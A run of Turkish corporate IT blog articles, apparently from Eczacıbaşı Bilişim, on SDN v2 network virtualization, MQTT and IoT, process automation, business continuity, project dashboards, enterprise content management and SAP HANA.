Network bir veri merkezinin belki de en kritik ve en karmaşık yapılarından biri olarak karşımıza çıkmaktadır. Aslında veri merkezlerindeki bileşenlere baktığımızda Sunucu, Storage ve Network kavramlarını ortaya koyarız. Bu kavramların her biri ciddi bir iş yükü iken ilk cümlede de bahsedildiği gibi bu bileşenlerden en karmaşık olanı da network olanıdır. İşte bu noktada Software Define Networking kavramı bu karmaşıklığı en aza indirmek hatta ortadan kaldırmaktadır diyebiliriz.

Yani, özetle Software Define Networking bütün bu karmaşıklığı ortadan kaldıracak bir teknoloji olarak karşımızda durmaktadır.

Burada tam olarak Software Define Networking kavramını anlayabilmek ve tam olarak ortaya koyabilmek için de, bir bilgisayarın network ortamında nasıl konuştuğunu gerçek anlamda bilmek gerekiyor. Sadece bilmek değil, anlamakta son derece önemli.

Network Sanallaştırma Nedir ?

Network sanallaştırma, donanım ve daha çok yazılım bileşenlerinin bir araya gelmesi ile oluşan bir kavramdır. Network sanallaştırma daha önce yoğunlukla donanımlar tarafından sağlanan bir çok bileşenleri devralmaktadır. Daha ileriye gidersek bir çok bileşenleri yazılım olarak üstlendiğinden dolayı da, daha esnek ve daha fazlasını elde edebilmekteyiz. Donanımsal ürünler, fiziksel bağlantılar ve bunların oluşturduğu karmaşıklıklar ve kısıtlıklar mevcut iken, yazılımsal olarak ortaya çıkan sanallaştırılmış network çok daha esnek olduğunu da ayrıca gözlemleyebiliyoruz.

Böylelikle, veri merkezlerimizde kullanılan Virtual Machine’ler tamamen fiziksel network katmanından ayrıştırılmaktadır. Daha önce ve halen yoğunlukla kullandığımız geleneksel network üzerinde çalışan Virtual Machine’larımız alt tarafta bulunan network katmanları üzerinde oluşturulan VLAN’lar ve bu VLAN’ların maplenmesi durumlarını tamamen ortadan kaldırmaktadır. Yani network sanallaştırılmasında öncelikle, sanal network’ler oluşturulur ve bu sanal network’lere bağlanmış Virtual Machine’lerimiz çalıştırabilir ve birbirlerinden tamamen izole etmiş oluruz.

Yukarıdaki şemada da görüldüğü üzere  iki adet network’ümüz var; biri kırmızı bir diğeri mavi network ve iki adet site ve bu iki site üzerinde de birden fazla Hyper-V rolüne sahip hostumuz mevcut. Bu Hyper-V hosta sahip sunucularımız üzerilerinde çalışan VM(Virtual Machine)’lerim  için iki tanede networkümz bulunmaktadır. Daha öncesinde, farklı network ve farklı müşteriler için bu tip bir yapı için fiziksel katmanda VLAN’lar kullanarak birbirlerinden izole ederken, artık network sanallaştırılması ile farklı Hyper-V hostlar üzerlerinde çalışan müşteri VM’lerimiz için çok daha esnek ve kolaylıkla haberleşmesini sağlar durumdayız.

Bununla birlikte, bizlere kazandırdığı en önemli yetkinliklerinden ve esneklikliğinden bir tanesi de yine şemada göreceğiniz üzere iki adet farklı müşteri ve bu iki adet farklı müşterimiz için network bulunmaktadır. Bunlardan bir tanesi Kırmızı Network, bir diğeri ise Mavi Network’tür. Her ik networkümüz de aynı IP Subnetini kullanabilir. Network sanallaştırma ile Kırmızı Network 192.168.1.0/24 networkünü kullanır iken Mavi Network ‘de aynı 192.168.1.0/24 subnetini kullanmasına imkan verir. Yani yazılımsal katmanda tanımlanmış olan bu networkler bizlere IP adreslemede karşımıza çıkan kısıtlamaları da tamamen ortadan kaldırmaktadır.

Burada açıkca görülmektedir ki, network sanallaştırmanın bizlere kazandırdığı fayda Network yönetiminin kolaylaştırılmasıdır.

Şimdi burada bütün bunlardan bahsederken, aynı subneti kullanmamıza imkan veren bu teknolojinin nasıl çalıştığından bahsedelim:

Network Sanallaştırılmasın da ve SDNV2 ‘ye değinirken, karşımıza iki adet kavram çıkacaktır: Bu kavramlardan bir tanesi Provider Address(PA), bir diğeri ise Customer Address(CA)’dir.

İlki, yani provider address (PA) fiziksel network katmanında koşan bir adrestir. Yani özetle PA fizksel Network’e çıkmak için kullanılmakta olan adres tipimizdir.

Diğer adres tipimiz ise Customer Address (CA)’dir. Bu CA ise sanal olup sadece sanal network üzerinde koşan IP adrestir. Bu adres tipimiz CA sadece sanal network üzerine çıkan ve orada koşan bir IP adresi olamakla birlike fiziksel network katmanına çıkmamaktadır..

Peki burada PA ve CA nasıl çalışmakta ve hangi teknolojiyi kullanmaktadır? İşte bize bu sorumuzun cevabınıda Network Encapsulation vermektedir.

Network Encapsulation

Sanal network üzerinde koşan ve VM ler arasında gönderilen paketler az öncede bahsettiğimiz PA sayesinde fiziksel Network’e çıkar ve orada kapsüllenir. SDNV1 olarak daha önce Windows Server 2012 ile karşımıza çıkmış olan NVGRE protolü ile bunu kullanmaktaydık. NVGRE layer 3 bir kapsülleme yapmaktaydı. Yani Customer Adresleri ile Provider Adreslerini Provider Network üzerinde eşleştirmekteydi.

Windows Server 2016 ile birlikte, SDNV2 olarak karşımıza çıkan fakat NVGRE desteğini halen sürdürmesine rağmen default ve tercih edilen olarak VXLAN kapsüllemede kullanmaya başladı. VXLAN normal şartlar altında Mac adresleri ile eşleştirme yapabilen ve Layer 2 kapsülleme yapabilen bir teknolojidir. VXLAN layer 2 kapsülleme iken SDNV2 bunu yine Layer 3 olarak kullanmakta. Bu da yine CA ve PA adreslerinin eşleştirilmesi anlamına gelmektedir.

Şöyle ki, yine Layer 3 kullanılıyor ise neden NVGRE değil de VXLAN teknolojisini SDNV2 ‘de kullanmaya başladı derseniz; VXLAN teknolojisini piyasada desteğinin çok fazla olması ve daha stabil çalışıyor olması diyebiliriz. Bildiğiniz üzere network üzerinde donanımların son derece önemi yüksektir ve VXLAN desteği bir çok üretici tarafından sağlanmaktadır.

Peki SDNV2 sadece network sanallaştırmadan mı ibaret ? Tabi ki  hayır. Windows Server 2016 ile birlikte SDNV2 olarak karşımıza çıkan kavram aslında bir çok network bileşenini sağlamaktadır. Network sanallaştırma, Software Load Balancer ve Multi Tenant Gateway& Distributed Firewall kavramlarının tamamını içermektedir.

Burada bahsettiğimiz SDNV2 on premise ortamlarımıza deploy edebileceğimiz gibi Azure Stack ile birlikte de gelmektedir.

Azure Stack kullanacak isek, yükleme paketimiz bizlere anahtar teslim olarak deploy edilecektir. Yani burada ekstra herhangi bir yükleme ve yapılandırmaya ihtiyaç duymamaktayız. Azuıre Stack deploy edildiğinde bütün bu bahsettiğimiz SDNV2 dağıtım sonrasında hazır durumda ve kullanımda olacaktır. Bildiğiniz üzere Azure Stack artık System Center ihtiyacı bulunmamaktadır, doğal olarak arka tarafta Powershell ile bu yönetimleri sağlamaktadır. Azure Stack kullanmayacak isek, bu kez System Center Virtual Machine Manager 2016 ile kullanımını sağlayabilmekteyiz. Fakat burada anahtar teslim gelmeyeceği için bir takım kurulum adımları mevcut olacaktır .Sonraki makalemizde bunları adım adım uygulayacağız.

Bu makale ile başlangıç serimizde, genel olarak SDNV1 ve SDNV2 kavramlarından bahsetmeye çalıştık. İlerleyen makaleler serisinde aslında burada bahsettiğimiz terimler ve kavramları daha derinlemesine inceleyecek ve kurulumlar aşamasında neleri kullanacağımız detaylıca anlatacağız.

Bir sonraki makalede görüşmek dileğiyle.

Yazan: Yenal TIRPANCI (Eczacıbaşı Bilişim)

Öncelikle Kavramlara Bakalım

Message Queuing Telemetry Transport yani MQTT mesajın karşı tarafa gönderilmesi için kullanılan bir haberleşme protokoldür. Bu haberleşme trafiğini kontrol eden yöneticiye BROKER, mesaj yayınına PUBLISH ve bu mesaj yayınına abone olanlara SUBSCRIBE denmektedir. Aşağıdaki görselde bu kavramlar daha iyi anlaşılacaktır.

MQTT de asenkron bir haberleşme kullanılmaktadır. Mesajı yayınlayan ve mesaja abone olanlar arasında veriler asenkron (eş-zamansız) olarak taşınmaktadır. Yukarıdaki görselde sıcaklık verileri (PUBLISH) haberleşme trafiğini kontrol eden yöneticiye (BROKER) gönderilir. BROKER bu verileri abone (SUBSCRIBE) online olduğu anda iletir.

İnternet üzerindeki çeşitli BROKER‘lara belli konularda abone olabilirsiniz. Örnek olarak Akıllı Telefonunuzdan Uygulama Mağazasına girerek MQTT Client ‘ı indirip yaşadığınız bölgedeki hava durumu için MQTT Broker ‘a abone olabilirsiniz.

MQTT diğer haberleşme protokollerine göre daha basit bir yapıya sahiptir ve kolayca projelerinize entegre edilebilirsiniz. Minimum kaynak tüketimi sayesinde özellikle M2M (Machine-to-machine) haberleşmesinde kullanılmaktadır. Bu da MQTT yi IoT projeleri için vazgeçilmez bir mesajlaşma protokolü haline getirmektedir.

Genel olarak MQTT ‘nin Özelliklerini Sıralamak İstersek

  • Asenkron (eş-zamansız) çalışan bir protokoldür.
  • Güvenlik olarak SSL / TLS desteklemektedir.
  • Minimum kaynak kullanımında bulunmaktadır.
  • Broker üzerinden haberleşme temeline dayanmaktadır.
  • Bilgiler MQTT protokolü üzerinden çok hızlı bir şekilde iletilebilir. (ms düzeyinde bir haberleşme)
  • TCP/IP nin kullanıldığı Windows, Linux, MacOS, Android ve iOS işletim sistemlerinde çalışır.

Biraz da IoT ‘den Bahsedelim

IoT yani Nesnelerin İnterneti sayesinde hayatımızda bir çok şey değişiyor. Daha da akıllı hale gelen evimizdeki elektronik cihazlar nesnelerin interneti ile birlikte farklı cihazlar ile haberleşip belirlenen kurallara göre (bazı durumlarda kendi yapay zekasını kullanarak) hayatınızı kolaylaştırmak için çalışıyorlar.

Basit bir örnek vermek gerekirse evimizdeki klima ile akıllı telefonumuz haberleşip bizim eve olan mesafemizi kontrol ediyor. Eve yaklaştığımızda klima çalışmaya başlıyor ve siz eve girdiğinizde en sevdiğiniz ideal sıcaklıkta oluyor. Veya buzdolabınız, içerisindeki yiyecekler bittiğinde sizin her gün eve dönerken kullandığınız güzergahtaki alışveriş merkezinden günlük/aylık veya haftalık tüketiminize göre sipariş veriyor, kredi kartınızla ödeme yapıyor ve size bilgi veriyor. Size kalan tek şey geçerken paketinizi almak. Zamandan tasarruf ediyorsunuz, unutma derdiniz yok, taze yiyecekler. Daha ne olsun ??

MQTT ile IoT Arasındaki Bağlantı Nedir?

IoT ‘de cihazların birbirleri ile iletişimde olması sürekli veya belli aralıklarla bir haberleşme içerisinde olmasına bağlıdır. Bu noktada da MQTT daha önce belirttiğimiz özellikleri sayesinde IoT projeleri içerisinde vazgeçilmez bir haberleşme protokolüdür.

Dışarıdan bakıldığında bunu farklı protokoller ile de yapabiliriz diye düşünebilirsiniz. Ancak IoT sadece buzdolabı ve akıllı telefon arasındaki iletişim değildir. Sürekli kullandığınız anahtar, fırın, mutfak robotu, buzdolabı, araba, bisiklet, klima, müzik seti, lamba ve daha bir sürü eşyanın sürekli olarak birbiri ile iletişimde olduğunu düşünün. Ne kadar yüksek hacimde verilerin anlık olarak gidip geldiğini bir düşününce MQTT bu noktada gerçek anlamda standart bir protokol haline geliyor.

Endüstri 4.0 Devrimi IoT ile birlikte çok farklı anlamlar kazanıyor. Bu yüzden MQTT ‘de Endüstri 4.0 Devrimini haberleşme protokolleri açısından olumlu yönde etkileyecek bir devrim olarak nitelendirilebilir.

Gerçek Hayatta MQTT Nerelerde Kullanıyor ?

Günümüzde Akıllı Ev Kontrol Sistemleri MQTT protokolünü kullanarak ev içerisindeki bir çok (sıcaklık, nem, basınç, ışık, hareket, gaz vb…) sensöre ait veriyi anlık olarak iletmekte ve ev sahiplerini bilgilendirmektedir. Bu sistemlerin bilgilendirme fonksiyonlarının dışında olası bir kaza yada soruna karşılık erkenden önlem alabilmektedir. Ayrıca gereksiz enerji tüketimi, zaman tasarrufu ve hayatı kolaylaştırma fonksiyonları ile bu sistemler günümüzde yeni yapılan binalarda ve Akıllı Şehirlerde olmazsa olmazlar arasında yer almaktadır.

Daha yaşamın içinden bir örnek verelim. Facebook, online mesajlaşma uygulaması olan Facebook Messenger ‘da MQTT ‘nin sağladığı özellikleri kullanıyor.

Örnekler arttırılabilir tabi ki. Ancak bütün bu haberleşme sistemlerinin alt yapısında gizli kahraman MQTT.

MQTT hakkında daha fazla bilgi almak isterseniz http://www.mqtt.org adresini ziyaret edebilirsiniz.

Konuyu basitçe tanımlamamız gerekirse, iş süreçleri otomasyon sistemi kullanımı raporlanabilir kullanışlı veri kalitesini, süreç kalitesini ve tutarlılığını arttırmakla birlikte iş kayıplarını ve tıkanıklarını önler.
Görevi manuel olarak takip etmek yerine, görsel akış diyagramı ile anlık görüntüleyebilir ve performansını izleyebilirsiniz. Süreçlerin işleyişine güvendiğinizde üretime daha çok zaman ayırabilirsiniz.

Peki bu değişime nasıl başlayabilirsiniz?

Analizin Önemi
İş süreçleri uzmanından yardım alınabilir. Öncelikli hedef, mevcut manuel süreçlerin sorumlu kişilerle birlikte şirket kültürünü de dikkate alarak detaylı analizinin çıkarılması ve ortak paydaşlarla sürece son halinin verilmesi olmalıdır. Ön çalışmalar daha sonra oluşabilecek zaman kayıplarını önleyecektir.

Çalışan Geri Bildirimleri
İş süreçlerinin en önemli parçası olan çalışan geri bildirimleri, hem süreçlerdeki problemleri giderecek, hem de çalışanın süreçlerle bütünleşip işin bir parçası olmasını sağlayacaktır. Süreç akışında en büyük verimliliği bu aşamada toplamış oluyorsunuz.

Değerlendirme
Tüm geri bildirimler ışığında yapılacak olan değerlendirme sonrası sürecin son halini ortaya çıkarabilirsiniz. Bu aşamada süreç içerisinde çalışan verimliliği için yapılması gereken adımlar ele alınarak iyileştirmeler sağlanacaktır. İyileştirilemeyen süreçler hem kullanıcıyı mutsuz ve verimsiz yapar hem de küçük değişikliklerle yapılacak katma değerleri gözden kaçırılmış olur.

Tasarım ve Geliştirme
Son aşamada süreçler tasarlanarak geliştirilmesi sağlanır. Bu aşamada en az değişiklik için önceki aşamaların detaylı ve bol veri ile ortaya çıkarılması önemlidir.

Neden EBIFlow?
EBIFlow yaklaşık olarak 15 yıldır iş süreçleri yönetimi üzerine çalışan ve gelişen bir uygulama olması yanında bu süreçte kullanıcılardan aldığı geri bildirimlerle sürekli yenilenmeye devam etmektedir. Uygulamanın en önemli özelliği, iş süreçlerinin tamamıyla kendi tarafınızda geliştirilip yönetilebilir, süreç özet dokümanının oluşturulabilir, kolay kullanışlı görsel tasarımı olması ve tüm cihazlardan kontrol edilebilir olmasıdır.

Kaizen’e inanıyoruz ve süreçlerinizi geliştirdikten sonra kolayca güncelleyebileceğiniz, tüm değişiklikler sonrası sürecin son halinin özetini alabileceğiniz bir yapı sunuyoruz. EBIFlow ile değiştirmek, yönetmek için ek kaynağa ihtiyaç olmamaktadır.

İş sürekliliği, bir organizasyonun müşterilerinin, sağlayıcılarının, düzenleyici otoritelerin vb. kritik sistemlere erişmesi gereken tüm partilerin kullanımına açık olması durumudur.

Bir organizasyonun müşterilerinin, sağlayıcılarının, düzenleyici otoritelerin vb. kritik sistemlere erişmesi gereken tüm partilerin kullanımına açık olması durumunu iş sürekliliği kavramı ile ifade edebiliriz. Olağanüstü durum ya da kabul edilemeyecek kadar uzun sürecek durum karşısında kritik fonksiyonların devam ettirilebilmesi için gerekli olan düzenlemelerin ve politikaların tanımlanması, dokümantasyonu ve uygulanması iş sürekliliği planlamasının ana unsurlarıdır. İş sürekliliği planlaması, planı yürütmek için personeli, rehberlik edecek süreçleri, personeli ve süreçleri etkin kullanabilmek için teknolojiyi gerektirir.

İş sürekliliği sağlama görevi sadece BT sorumluğuna bırakılabilecek keyfiyette değildir.

İş sürekliliği sağlama görevi -Türkiye’de genelde tersine bir yaklaşım eğilimi olsa da- sadece BT sorumluğuna bırakılabilecek keyfiyette değildir. Tüm iş birimlerinin aktif olarak dahil olması, üst yönetimin sahiplenmesi ve desteklemesi gereken bir süreçtir.

Sistemlerdeki kaybın ne kadarının kabul edilebilir olduğunun (RPO) ve sistemlerin ne kadar zamanda ayağa kaldırılabileceğinin (RTO) kararı verilmelidir. Teknolojik olarak her türlü altyapı tasarlanabilir durumdadır.

İş sürekliliği sistemlerini kullanacak şirketlere ve kurumlara önerimiz iş gereksinimleri çerçevesinde politika ve prosedürlerini belirlemeleridir. Olağanüstü bir durum ya da felaketle karşılaşıldığında organizasyonun teknolojik altyapısını işler hale getirmesi, hizmetlerini ve ürünleri sağlamaya devam etmesi kritik öneme sahiptir. Burada sistemlerdeki kaybın ne kadarının kabul edilebilir olduğunun (Recovery Point Objective – RPO) ve sistemlerin ne kadar zamanda ayağa kaldırılabileceğinin (Recovery Time Objective – RTO) kararı verilmelidir. Teknolojik olarak her türlü altyapı tasarlanabilir durumda ve ihtiyaçlara göre maliyetler değişmektedir.

İş sürekliliği yönetiminin sürekli yaşayan bir süreç olduğu unutulmamalıdır.

İş sürekliliği yönetiminin durağan olmadığı ve sürekli yaşayan bir süreç olduğu unutulmamalıdır. Bu sebeple planlama aşamasındaki senaryolar düzenli olarak test edilmeli ve risk yönetimi yapılarak potansiyel kayıplar gözden geçirilmelidir. Gerektiğinde planda güncellemeler yapılmalı ve reaksiyon vermedeki esneklik geliştirilmelidir.

Olağanüstü durum riski gözardı edilebilecek bir risk değildir. Kesinti sebebiyle maruz kalabileceğiniz gelir kaybı riskinin ötesinde bir anda itibarınızı ve markanızın değerini dibe indirebileceğini unutmamanız gerekir.

Olağanüstü durum riski gözardı edilebilecek bir risk değildir. Kesinti sebebiyle maruz kalabileceğiniz gelir kaybı riskinin ötesinde bir anda itibarınızı ve markanızın değerini dibe indirebileceğini unutmamanız gerekir. Türkiye’nin doğal afetlerden deprem konusunda yakın geçmişte çok acı tecrübeleri olmuştur. Hergün farklı senaryoların tartışıldığı deprem gerçeği ile yüzleşerek önlemlerinizi almanız çok önemlidir. Belki sosyal medyada bir anda çığ gibi büyüyebilecek haksız bir söylenti bile sistemlerinizi siber korsanların saldırılarının hedefi haline getirebilir. Bunun yanısıra yangın, sel, fırtına gibi doğal afetler, güç ve iletişim kesintisi, terörizm vb. risk faktörlerinin gerçekleşmesi durumunda işiniz kesintiye uğrayabilir.

Eczacıbaşı Bilişim olarak, şirketlerin ve kurumların iş sürekliliği planlarına uygun teknolojik gereksinimlerinin belirlenmesi, hayata geçirilmesi ve sürdürülebilmesi noktasında tecrübemizle uygun maliyetli çözümler sunmaktayız.

Eczacıbaşı Bilişim olarak, yapı ürünleri, sağlık, tüketim ürünleri, finans, bilgi teknolojileri, kaynak teknolojileri, madencilik ve gayrimenkul geliştirme alanlarında ulusal ve uluslararası pazarlara yönelik olarak çalışan Türkiye’nin en büyük gruplarından Eczacıbaşı Topluluğu’nun kritik sistemlerine hizmet vermekteyiz. Bunun yanısıra Topluluk dışında da finans ve telekom sektörü başta olmak üzere tüm sektörlerden seçkin müşterilerimize katma değerli hizmetler sağlamaktayız. Şirketlerin ve kurumların iş sürekliliği planlarına uygun teknolojik gereksinimlerinin belirlenmesi, hayata geçirilmesi ve sürdürülebilmesi noktasında tecrübemizle uygun maliyetli çözümler sunmaktayız.

Not: Bu yazı 3-9 Aralık 2012 tarihli “BThaber İş Sürekliliği Dosyası“nda (Sayı 898 Sayfa 16-20) yayınlanmıştır.

Millennium Falcon’u uçururken Han Solo’nun önündeki kokpitten gözlerini alamadığını fark ettiniz mi? Geminin tasarımı ve yapımı asıl iş gibi görünse de asıl görevi uçmak… Uçmak ve ışık hızına ulaşabilmek için Han’ın komutasına ihtiyacı varken Han’ın da komuta edebilmesi için önündeki kokpite ihtiyacı var. Peki, ya gösterge paneli olmasaydı Millennium Falcon gerçekten tüm yaptıklarını başarabilir ve şu anki popülaritesine sahip olabilir miydi?

Bilimkurgudan çıkıp hayalinizdeki spor arabaya gelelim. Aracınızın siparişini verdiniz ama biraz aceleniz olduğu için özel yapım aracın hedef tarihini firmadan öne almasını istediniz. Teslim günü geldiğinde arabanızı almaya keyifli bir şekilde gittiniz ve o ne… Hayal ettiğinizden çok daha güzel herkesi kıskandıracak bir tasarımla karşınızda duruyor. Agresif hatları, kıpkırmızı görüntüsü ile yolları sarsacaksınız. İçindeki deri koltuklar ve iç tasarımındaki siyah döşeme üzerindeki parça parça kırmızı şeritler. Aman tanrım, inanılmaz bir heyecan. Daha fazla beklemeye gerek yok. Hemen aracınıza binip yollara çıkmak istiyorsunuz. Çünkü siz tam bir yarışçısınız. Aracın sağlamlığına da firma sonuna kadar kefil oluyor. İnanılmaz bir gün. Bugün ne sorun olabilir ki? Arabaya biniyorsunuz ve ilk şoku atlatamadan görevliye dönüp bakakalıyorsunuz. Soru sormanıza gerek yok, görevli sorunuzu zaten en başından beri bekliyordu ve de cevabı hazırdı: ”İstediğiniz gibi erken tarihe aracı yetiştirebilmek için ön panelin yapımını iptal ettik. Hız göstergesi ve devir sayacı yok. Yakıtı da görüntülemenize gerek yok, saatlerce gider bu araba…”

Hayalinizdeki bu aracı alır mıydınız? Tabii ki almazdınız. Sonuçta aracı kontrol edebilmek için bu göstergelere ihtiyacınız var. Peki, aynı durum projelerimiz için de geçerli değil mi? Hızınızı bilmeden frene mi gaza mı basabileceğinizi bilebilir misiniz? Ya da ne kadar hızlanıp yavaşlayacağınıza sezgisel mi karar vereceksiniz? Bu noktada temel görev eğer varsa Proje Yönetim Ofisi’ne yoksa da proje yöneticisinin kendisine düşer. Standartları belirlenen bir firmada iseniz her şey daha kolay. Ama eğer bulunduğunuz ortamda standartlar yok ise projelerinizde siz bunları kullanarak ne kadar önemli ve gerekli olduğunu ispatlayabilirsiniz. Bu bir nevi proje yöneticilik borcu.

Projelerin standart göstergeleri olmasına rağmen bu göstergelerin limitlerinin bir standardı yoktur. Limitlerin her firmanın kendi bünyesinde iç dinamiklerine ve şirket politikalarına göre şekillenmesi gerekir. Ayrıca firmanın takip ihtiyaçlarına göre standart dışında da göstergeler oluşturulabilir. Aslında en nihayetinde konu nereye gitmek istediğidir firmanın. Bu güzergâha göre takip etmek istediklerimizi belirlemeli ve her projede bunlara dikkat edilmeli. Özetle bu noktada firmanın yapısına uygun olarak adapte edilmiş proje yönetim standartlarından faydalanılarak firmanın politikalarına uygun göstergeler ve bu göstergelerin limitleri belirlenmelidir.

Yazının başından itibaren kokpit dedik. Peki, standart gözle baktığımızda bizim proje kokpitimizde hangi göstergeler olmalı ve bunları nasıl değerlendirmeliyiz?

Zaman Göstergesi: Göstergeler arasında önem derecesine göre bir sıralama yapacak olsak ilk sırada zaman göstergesi gelir. İş disiplini sağlayabilmek açısından projelerinizin başlangıç ve bitiş zamanını bilmeniz ve takip etmeniz hayati önem taşır.

Maliyet Göstergesi: Boşa mı emek harcıyoruz, etkinliğimiz mi düşük, şu anki gerçekliğimiz ne noktasında maliyet göstergesi en kritik göstergelerden ikinci sırayı alır. Hakkını yemeyelim, zaman göstergesi ile liderlik yarışındadır diyelim. Bu gösterge mevcut durumu görüp nedenini tespit edip sorunları giderme noktasında oldukça kritiktir. Çünkü planlananın üzerinde maliyet bir yerlerde hata olduğunun en önemli habercisidir.

Efor Göstergesi: Efor göstergeleri projenin performansının kişi/bölüm bazlı görüntüleme açısından oldukça önemlidir. Eğer bir kişide/bölümde tıkanan bir iş varsa önlem aksiyonları daha özellikli noktalara göre belirlenebilir ve daha sonraki projeler için bu kritik durum göz önünde tutulur. Ayrıca efor takibi ile projedeki aktivitelerin ortalama zamanları ölçülür. Böylece sonraki projelerin daha doğru tahmini için daha sağlıklı girdilere sahip olunur. Farklı açıdan da kişi/bölüm ödüllendirmeleri için bu takip kritik değer taşır.

Kapsam Kayması: Sürekli değişen bir kapsam ya da kötü tanılanmış kapsam bir projenin sonu olabilir. Kötü kapsam tanımı; iyi bir proje planının, efor planının ve süreçlerin iyi yönetiminin getirdiği tüm faydaların görülmesi engeller. Siz projeyi ne kadar iyi yönetirseniz yönetin, herkes sonucunda başarısız bir proje hatırlayacaktır.

Unutmayalım, deneyimli bir proje yöneticisi göstergelerin sadece bir proje performans yönetimi aracı olmadığını, aynı zamanda bir motivasyon aracı olduğunu bilir. Tüm ekipler için, ortak bir amaç için bir araya geldiklerinde bireysel katkılarının objektif olarak fark edildiğini görmek motive edici bir durumdur. Ekipler arasındaki rekabet, teşvik ve ödüller projenin ivmesini arttıracaktır. Sayısal göstergelerin objektif olması adalet hissini de getireceğinden bir süre sonra emin olun ki rakamları sadece proje yöneticileri değil, ekip üyeleri de takip edecektir.

2016’nın rekabet dolu ortamında her geçen gün oyuncuların çoğaldığı bir pazarda müşteri odaklılık bir 10 sene öncesi ile kıyaslandığında farklı bileşenler kazanmaya başladı. Hiç şüphe yok ki, sadık müşteriler yaratma fikrinin temelinde müşteriye beklentileri konusunda hızlı dönüş yapabilme, hızlı çözümler getirebilme, iş sürekliliğinin garantörü olma, kesintisiz muhatap sağlayabilme gibi bileşenler bulunuyor.

Bu bileşenlerden birinin aksaması veya yetersiz kalması, bir diğerinin katma değerini gölgede bırakma riskini de beraberinde getiriyor. Müşteriler, iş sürekliliğini artık sözleşmeleri içerisinde bir şartname maddesi olarak değil, hizmet aldığı sağlayıcıların herhangi bir geribildirim almadan sağladığı, ölçtüğü ve raporladığı bir gereklilik olarak görüyorlar.
Müşteri beklentilerini yukarıdaki bileşenler çerçevesinde karşılayabilmek, yeterince esnek bir teknolojik altyapının bulunmasına bağlıdır. Eczacıbaşı Bilişim, müşterilerinin bünyesinde hizmet veren kaynakların sadece bir kısmının değil, tüm kaynakların sürekliliğine hitap edebilecek zenginlikteki teknolojilere yatırım yaparak iş sürekliliğini, sağladığı hizmetlerin bir ana bileşeni olarak kabul etmektedir.

Bilişim teknolojileri geliştikçe dijital verilerimiz de katlanarak artmaya devam ediyor. Bu dijital verileri bir süre sonra saklamak ve idare etmek özellikle kuruluşlar için başlı başına bir problemdir. İçerikleri saklamak, belirli izinler doğrultusunda erişim sağlamak ve bu verileri güzel bir arayüz ile birlikte kullanıcılara sunmak gerekir. Ofis dokümanları, proje dosyaları, resimler, videolar ve daha birçok içeriğin tek bir platform içerisinde intizamlı bir şekilde saklanması, versiyonlanması ve onay süreçlerine sokulması gerekmektedir. Kabaca bu şekilde tarif edebiliriz. Çünkü bu sistemler oldukça kompleks bir yapıya sahiptirler ve yapabilecekleri her şeyi saymak oldukça uzun sürer. İşte tüm bu yönetim işlemlerini kapsayan kurumsal amaçlı sistemlere Kurumsal İçerik Yönetim Sistemleri (Enterprise Content Management) diyoruz.

Bu ihtiyaçlar doğrultusunda bilişim firmaları kullanıcıların kullanımına sunmak üzere birçok ürün geliştirdiler. Dünyadaki en popüler ECM firmaları için Gartner’ın 2015 son çeyreğinde yayınladığı Magic Quadrant grafiğini aşağıda görebilirsiniz.

Gartner’ın listedeki firmalar için güçlü ve zayıf yönlerini ele aldığı raporuna buradan erişebilirsiniz.

Son zamanlarda bulut bilişimin büyümesi ile birlikte tüm bu çözümlerin de yavaş yavaş buluta kaydığını görüyoruz. On-Premise çözümlerinde artık bazı özellikleri ve yenilikleri desteklemeyip, bulutu daha cazip hale getirmeye çalışıyorlar. İçeriklerini güvenlik nedeniyle kendi sunucularında barındırmak isteyen firmaları düşündüren bir durum oluşmakla birlikte hala on-premise çözüm üretenler de bulunuyor. Microsoft SharePoint bunlardan bir tanesi. Şimdilik hem bulut çözümü olan Ofis 365’i geliştirmeye devam ediyor hem de SharePoint 2016 on-premise sürümünü yayımlamak üzere. Bu trend, sektörü nasıl bir geleceğe götürecek birlikte göreceğiz.

Son zamanlarda birçok SAP müşterisinin aklında hep aynı soru var ‘SAP Hana’ya geçmeli miyim?’ . Bu soruyu cevaplamadan önce ‘SAP Hana nedir?’ önce ona bakalım.

SAP ilk kurulduğu 1979 yılından bugüne database mimarisi olarak RDMS(Relational Database Management System) yapısında ve büyük veriler üzerinde çalışmasına imkan verecek şekilde optimize edilerek gelindi. Günümüzün en büyük gerekliliği performansken, büyük veriyi hızlı bir şekilde işlemek ve anlamak iş dünyasının gerekliliği haline gelmişken kullanılan alt yapı ile bunu yapmak çok zor hatta imkansızdı. SAP 2011 yılına ucuzlayan donanım ve bellek teknolojilerini kullanarak ‘bellek içi teknolojisini’(In-Memory Technology) yarattı ve böylelikle HANA(Relational Database Management System) ortaya çıktı. Bellek içi teknolojisi veriyi disklerde tutmak yerine veriyi ana bellekte depolamaktadır. Optimizasyon algoritmaları daha basit ve CPU kullanımı daha düşük olduğu için eski veri tabanlarına göre 10, bazı durumlarda milyon kat daha hızlıdır.

2013 yılında HANA database ERP sistemine destek vermeye başladı yalnız tüm yapı yükü databaseden almak üzere kurulduğu için HANA’nın getirmiş olduğu yenilikler kullanıcı performansına yansımıyordu. 2015 yılında teknik olarak R3’ten sonraki versiyon olan S/4 HANA duyuruldu. Bu sistem bellek içi database mimarisini kullanarak daha az alan kaplıyor ve bu sayede daha hızlı bir yapıya kavuşmuş oluyor. Ayrıca HANA Live ile gerçek zamanlı raporlama yapma imkanı sağladı.

Şimdi yukardaki sorunun cevabına gelirsek ‘kesinlikle evet’.

Peki neden?

Çünkü SAP tüm yatırımını bu platforma yapıyor ve 2025’den sonra sadece HANA platformunda çalışacak. Bu nedenle iş hayatı için geliştirdiği tüm büyüleyici yenilikleri sadece bu platform üzerinde sunuyor. Bunlardan bazıları :

  • Smart/Simple Finance
  • Business Warehouse 7.4 ile Simple Logistics
  • Fiori

SAP’nin bu yenilikler ile bize sunduğu faydaları özetleyecek olursak,

  • Daha erken dönem kapanışı yapmanızı sağlıyor.
  • Daha iyi tahminleme yapmanıza olanak sunuyor.
  • Organizasyonel değişiklikler veya sonuçlar için simülasyon yapmanızı sağlıyor.
  • İstediğiniz anda gerçek zamanlı satış ve maliyet analizi sunuyor.
  • Gerçek-zamanlı uygulamalarla, önemli rekabet avantajı elde edilmesini sağlıyor.
  • Sistem içindeki organizasyonel yapıları simüle etmek için esneklik sağlıyor.
  • Müşteri bakan uygulamalarda daha iyi hizmet düzeyi elde etmenizi sağlıyor.
  • Yeni iş değerleri yaratan yeni çözümlere ufuk açıyor.
  • İnovasyon için sağlam bir çerçeve sunuyor.

